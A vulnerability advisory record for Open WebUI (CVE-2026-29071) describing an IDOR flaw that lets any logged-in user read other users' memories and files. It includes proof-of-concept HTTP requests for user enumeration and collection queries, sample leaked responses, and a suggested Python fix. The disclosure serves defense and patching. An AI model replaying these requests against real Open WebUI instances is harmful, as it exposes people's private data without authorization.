{"id":"CVE-2026-29071","aliases":["GHSA-w9f8-gxf9-rhvw","PYSEC-2026-2765"],"title":"Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories","summary":"Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories","severity":"low","cvss":3.1,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N","vendor":"open-webui","product":"open-webui","ecosystem":"pip","affected":["open-webui < 0.8.6"],"patched":["open-webui 0.8.6"],"published":"2026-03-27","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-w9f8-gxf9-rhvw","references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29071"},{"url":"https://github.com/open-webui/open-webui"}],"tags":["osv","pip"],"epss":0.00253,"epssPercentile":0.17087,"ingestedAt":"2026-07-13T18:58:04.444Z","slug":"CVE-2026-29071","body":"## Overview\n\n### Summary\nAny authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user), # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.\n\n**Exploitation — Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \nAuthorization: Bearer \n```\n\nResponse reveals all users including admin's UUID, email, and role:\n\n```json\n{\n \"users\": [\n {\n \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n \"name\": \"user\",\n \"email\": \"user@test.com\",\n \"role\": \"user\"\n },\n {\n \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"name\": \"admin\",\n \"email\": \"admin@test.com\",\n \"role\": \"admin\"\n }\n ]\n}\n```\n\n\"1poc\n\n**Exploitation — Step 2: Read admin's memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"collection_names\": [\"user-memory-\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin's private memories:\n\n```json\n{\n \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\"2poc\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation — Step 3: Read admin's private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"collection_names\": [\"file-\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin's private document content and full metadata:\n\n```json\n{\n \"documents\": [[\"Test PDF \\nabc \\nbcd\"]],\n \"metadatas\": [[{\n \"name\": \"Test PDF.pdf\",\n \"author\": \"Mariusz Maik\",\n \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n }]]\n}\n```\n\n\"image\"\n\n### Impact\n- **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user),\n):\n for collection_name in form_data.collection_names:\n if collection_name.startswith(\"user-memory-\"):\n owner_id = collection_name.replace(\"user-memory-\", \"\")\n if owner_id != user.id and user.role != \"admin\":\n raise HTTPException(status_code=403, detail=\"Access denied\")\n elif collection_name.startswith(\"file-\"):\n file_id = collection_name.replace(\"file-\", \"\")\n # user_has_access_to_file — placeholder; verify file ownership\n # e.g. check if created_by matches user.id\n if not user_has_access_to_file(user.id, file_id):\n raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.\n\n## Affected packages\n\n- `open-webui < 0.8.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `open-webui 0.8.6`","depth":"sunlit","depthScore":17,"depthScoreParts":{"impact":17.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}